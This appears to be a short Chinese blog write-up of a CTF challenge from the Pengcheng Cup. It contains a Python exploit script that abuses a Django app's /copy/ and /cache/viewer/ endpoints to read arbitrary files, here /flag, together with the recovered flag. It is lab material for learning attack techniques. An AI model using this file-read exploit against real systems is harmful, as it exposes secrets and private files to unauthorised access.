鹏程杯


Django会有什么问题?

  1. 使用 /copy/ 将目标文件复制到缓存目录
  2. 使用 /cache/viewer/ 读取文件内容(hex格式)
  3. 解码hex得到文件内容
#!/usr/bin/env python3
import requests
import hashlib

TARGET = "http://192.168.18.27:25003"

def read_file(filepath):
    """读取任意文件的内容"""
    # 1. 生成一个cache (感觉这个key什么样都行)
    cache_key = f"read_{hashlib.md5(filepath.encode()).hexdigest()[:10]}"
    cache_filename = hashlib.md5(cache_key.encode()).hexdigest() + ".djcache"
    dst_path = f"/tmp/django_cache/{cache_filename}"

    # 2. 使用copy_file复制目标文件到缓存目录
    resp = requests.post(f"{TARGET}/copy/",
                        data={'src': filepath, 'dst': dst_path},
                        timeout=10)

    if resp.json().get('status') != 'success':
        return None

    # 3. 使用cache_viewer读取文件内容
    resp = requests.post(f"{TARGET}/cache/viewer/",
                        data={'key': cache_key},
                        timeout=10)

    if resp.json().get('status') == 'success':
        raw_hex = resp.json().get('raw_content')
        # 4. 解码hex
        content = bytes.fromhex(raw_hex).decode('utf-8', errors='ignore')
        return content

    return None

# 读取flag
flag_content = read_file('/flag')
if flag_content:
    print(f"FLAG: {flag_content}")
$ python3 exploit.py
FLAG: 52c2eb8246f7477283c65e39845d28ff

好像还解出来了一题?(
有点忘了


文章作者: q1n9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1n9 !
  目录